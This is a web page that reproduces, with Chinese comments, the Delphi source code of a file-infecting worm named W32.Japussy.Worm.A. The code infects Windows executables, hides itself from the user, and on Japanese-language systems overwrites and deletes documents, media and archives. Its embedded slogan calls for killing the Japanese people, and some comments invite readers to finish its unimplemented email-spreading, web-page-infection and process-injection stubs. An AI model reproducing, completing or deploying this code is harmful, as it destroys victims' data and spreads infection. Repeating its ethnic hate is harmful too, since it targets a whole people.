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<div id="googlead"> <script language="JavaScript" src="/ad/gg-250.js"></script></div><p><span style="font-size: small">代码:----------<br />
程序代码<br />
program Japussy; <br />
uses<br />
Windows, SysUtils, Classes, Graphics, ShellAPI{ , Registry} ; <br />
const<br />
HeaderSize = 82432; //病毒体的大小<br />
IconOffset = $12EB8; //PE文件主图标的偏移量<br />
<br />
//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同<br />
//查找2800000020的十六进制字符串可以找到主图标的偏移量<br />
<br />
{ <br />
HeaderSize = 38912; //Upx压缩过病毒体的大小<br />
IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量<br />
<br />
//Upx 1.24W 用法: upx -9 --8086 Japussy.exe<br />
} <br />
IconSize = $2E8; //PE文件主图标的大小--744字节<br />
IconTail = IconOffset + IconSize; //PE文件主图标的尾部<br />
ID = $44444444; //感染标记<br />
<br />
//垃圾码,以备写入<br />
Catchword = 'If a race need to be killed out, it must be Yamato. ' +<br />
'If a country need to be destroyed, it must be Japan! ' +<br />
'*** W32.Japussy.Worm.A ***'; <br />
{ $R *.RES} <br />
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; <br />
stdcall; external 'Kernel32.dll'; //函数声明<br />
var<br />
TmpFile: string; <br />
Si: STARTUPINFO; <br />
Pi: PROCESS_INFORMATION; <br />
IsJap: Boolean = False; //日文操作系统标记<br />
{ 判断是否为Win9x } <br />
function IsWin9x: Boolean; <br />
var<br />
Ver: TOSVersionInfo; <br />
begin<br />
Result := False; <br />
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo); <br />
if not GetVersionEx(Ver) then<br />
Exit; <br />
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x<br />
Result := True; <br />
end; <br />
{ 在流之间复制 } <br />
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream; <br />
dStartPos: Integer; Count: Integer); <br />
var<br />
sCurPos, dCurPos: Integer; <br />
begin<br />
sCurPos := Src.Position; <br />
dCurPos := Dst.Position; <br />
Src.Seek(sStartPos, 0); <br />
Dst.Seek(dStartPos, 0); <br />
Dst.CopyFrom(Src, Count); <br />
Src.Seek(sCurPos, 0); <br />
Dst.Seek(dCurPos, 0); <br />
end; <br />
{ 将宿主文件从已感染的PE文件中分离出来,以备使用 } <br />
procedure ExtractFile(FileName: string); <br />
var<br />
sStream, dStream: TFileStream; <br />
begin<br />
try<br />
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); <br />
try<br />
dStream := TFileStream.Create(FileName, fmCreate); <br />
try<br />
sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分<br />
dStream.CopyFrom(sStream, sStream.Size - HeaderSize); <br />
finally<br />
dStream.Free; <br />
end; <br />
finally<br />
sStream.Free; <br />
end; <br />
except<br />
end; <br />
end; <br />
{ 填充STARTUPINFO结构 } <br />
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word); <br />
begin<br />
Si.cb := SizeOf(Si); <br />
Si.lpReserved := nil; <br />
Si.lpDesktop := nil; <br />
Si.lpTitle := nil; <br />
Si.dwFlags := STARTF_USESHOWWINDOW; <br />
Si.wShowWindow := State; <br />
Si.cbReserved2 := 0; <br />
Si.lpReserved2 := nil; <br />
end; <br />
{ 发带毒邮件 } <br />
procedure SendMail; <br />
begin<br />
//哪位仁兄愿意完成之?<br />
end; <br />
{ 感染PE文件 } <br />
procedure InfectOneFile(FileName: string); <br />
var<br />
HdrStream, SrcStream: TFileStream; <br />
IcoStream, DstStream: TMemoryStream; <br />
iID: LongInt; <br />
aIcon: TIcon; <br />
Infected, IsPE: Boolean; <br />
i: Integer; <br />
Buf: array[0..1] of Char; <br />
begin<br />
try //出错则文件正在被使用,退出<br />
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染<br />
Exit; <br />
Infected := False; <br />
IsPE := False; <br />
SrcStream := TFileStream.Create(FileName, fmOpenRead); <br />
try<br />
for i := 0 to $108 do //检查PE文件头<br />
begin<br />
SrcStream.Seek(i, soFromBeginning); <br />
SrcStream.Read(Buf, 2); <br />
if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记<br />
begin<br />
IsPE := True; //是PE文件<br />
Break; <br />
end; <br />
end; <br />
SrcStream.Seek(-4, soFromEnd); //检查感染标记<br />
SrcStream.Read(iID, 4); <br />
if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染<br />
Infected := True; <br />
finally<br />
SrcStream.Free; <br />
end; <br />
if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出<br />
Exit; <br />
IcoStream := TMemoryStream.Create; <br />
DstStream := TMemoryStream.Create; <br />
try<br />
aIcon := TIcon.Create; <br />
try<br />
//得到被感染文件的主图标(744字节),存入流<br />
aIcon.ReleaseHandle; <br />
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0); <br />
aIcon.SaveToStream(IcoStream); <br />
finally<br />
aIcon.Free; <br />
end; <br />
SrcStream := TFileStream.Create(FileName, fmOpenRead); <br />
//头文件<br />
HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); <br />
try<br />
//写入病毒体主图标之前的数据<br />
CopyStream(HdrStream, 0, DstStream, 0, IconOffset); <br />
//写入目前程序的主图标<br />
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize); <br />
//写入病毒体主图标到病毒体尾部之间的数据<br />
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail); <br />
//写入宿主程序<br />
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size); <br />
//写入已感染的标记<br />
DstStream.Seek(0, 2); <br />
iID := $44444444; <br />
DstStream.Write(iID, 4); <br />
finally<br />
HdrStream.Free; <br />
end; <br />
finally<br />
SrcStream.Free; <br />
IcoStream.Free; <br />
DstStream.SaveToFile(FileName); //替换宿主文件<br />
DstStream.Free; <br />
end; <br />
except; <br />
end; <br />
end; <br />
<br />
{ 将目标文件写入垃圾码后删除 } <br />
procedure SmashFile(FileName: string); <br />
var<br />
FileHandle: Integer; <br />
i, Size, Mass, Max, Len: Integer; <br />
begin<br />
try<br />
SetFileAttributes(PChar(FileName), 0); //去掉只读属性<br />
FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件<br />
try<br />
Size := GetFileSize(FileHandle, nil); //文件大小<br />
i := 0; <br />
Randomize; <br />
Max := Random(15); //写入垃圾码的随机次数<br />
if Max < 5 then<br />
Max := 5; <br />
Mass := Size div Max; //每个间隔块的大小<br />
Len := Length(Catchword); <br />
while i < Max do<br />
begin<br />
FileSeek(FileHandle, i * Mass, 0); //定位<br />
//写入垃圾码,将文件彻底破坏掉<br />
FileWrite(FileHandle, Catchword, Len); <br />
Inc(i); <br />
end; <br />
finally<br />
FileClose(FileHandle); //关闭文件<br />
end; <br />
DeleteFile(PChar(FileName)); //删除之<br />
except<br />
end; <br />
end; <br />
{ 获得可写的驱动器列表 } <br />
function GetDrives: string; <br />
var<br />
DiskType: Word; <br />
D: Char; <br />
Str: string; <br />
i: Integer; <br />
begin<br />
for i := 0 to 25 do //遍历26个字母<br />
begin<br />
D := Chr(i + 65); <br />
Str := D + ':'; <br />
DiskType := GetDriveType(PChar(Str)); <br />
//得到本地磁盘和网络盘<br />
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then<br />
Result := Result + D; <br />
end; <br />
end; <br />
{ 遍历目录,感染和摧毁文件 } <br />
procedure LoopFiles(Path, Mask: string); <br />
var<br />
i, Count: Integer; <br />
Fn, Ext: string; <br />
SubDir: TStrings; <br />
SearchRec: TSearchRec; <br />
Msg: TMsg; <br />
function IsValidDir(SearchRec: TSearchRec): Integer; <br />
begin<br />
if (SearchRec.Attr < > 16) and (SearchRec.Name < > '.') and<br />
(SearchRec.Name < > '..') then<br />
Result := 0 //不是目录<br />
else if (SearchRec.Attr = 16) and (SearchRec.Name < > '.') and<br />
(SearchRec.Name < > '..') then<br />
Result := 1 //不是根目录<br />
else Result := 2; //是根目录<br />
end; <br />
begin<br />
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then<br />
begin<br />
repeat<br />
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑<br />
if IsValidDir(SearchRec) = 0 then<br />
begin<br />
Fn := Path + SearchRec.Name; <br />
Ext := UpperCase(ExtractFileExt(Fn)); <br />
if (Ext = '.EXE') or (Ext = '.SCR') then<br />
begin<br />
InfectOneFile(Fn); //感染可执行文件 <br />
end<br />
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then<br />
begin<br />
//感染HTML和ASP文件,将Base64编码后的病毒写入<br />
//感染浏览此网页的所有用户<br />
//哪位大兄弟愿意完成之?<br />
end<br />
else if Ext = '.WAB' then //Outlook地址簿文件<br />
begin<br />
//获取Outlook邮件地址<br />
end<br />
else if Ext = '.ADC' then //Foxmail地址自动完成文件<br />
begin<br />
//获取Foxmail邮件地址<br />
end<br />
else if Ext = 'IND' then //Foxmail地址簿文件<br />
begin<br />
//获取Foxmail邮件地址<br />
end<br />
else <br />
begin<br />
if IsJap then //是倭文操作系统<br />
begin<br />
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or<br />
(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or<br />
(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or<br />
(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or<br />
(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or<br />
(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then<br />
SmashFile(Fn); //摧毁文件<br />
end; <br />
end; <br />
end; <br />
//感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑<br />
Sleep(200); <br />
until (FindNext(SearchRec) < > 0); <br />
end; <br />
FindClose(SearchRec); <br />
SubDir := TStringList.Create; <br />
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then<br />
begin<br />
repeat<br />
if IsValidDir(SearchRec) = 1 then<br />
SubDir.Add(SearchRec.Name); <br />
until (FindNext(SearchRec) < > 0); <br />
end; <br />
FindClose(SearchRec); <br />
Count := SubDir.Count - 1; <br />
for i := 0 to Count do<br />
LoopFiles(Path + SubDir.Strings + '', Mask); <br />
FreeAndNil(SubDir); <br />
end; <br />
{ 遍历磁盘上所有的文件 } <br />
procedure InfectFiles; <br />
<br />
var<br />
DriverList: string; <br />
i, Len: Integer; <br />
begin<br />
if GetACP = 932 then //日文操作系统<br />
IsJap := True; //去死吧!<br />
DriverList := GetDrives; //得到可写的磁盘列表<br />
Len := Length(DriverList); <br />
while True do //死循环<br />
begin<br />
for i := Len downto 1 do //遍历每个磁盘驱动器<br />
LoopFiles(DriverList + ':', '*.*'); //感染之<br />
SendMail; //发带毒邮件<br />
Sleep(1000 * 60 * 5); //睡眠5分钟<br />
end; <br />
end; <br />
{ 主程序开始 } <br />
begin<br />
if IsWin9x then //是Win9x<br />
RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程<br />
else //WinNT<br />
begin<br />
//远程线程映射到Explorer进程<br />
//哪位兄台愿意完成之?<br />
end; <br />
//如果是原始病毒体自己<br />
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then<br />
InfectFiles //感染和发邮件<br />
else //已寄生于宿主程序上了,开始工作<br />
begin<br />
TmpFile := ParamStr(0); //创建临时文件<br />
Delete(TmpFile, Length(TmpFile) - 4, 4); <br />
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格<br />
ExtractFile(TmpFile); //分离之<br />
FillStartupInfo(Si, SW_SHOWDEFAULT); <br />
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,<br />
0, nil, '.', Si, Pi); //创建新进程运行之<br />
InfectFiles; //感染和发邮件<br />
end; <br />
end. </span></p> |
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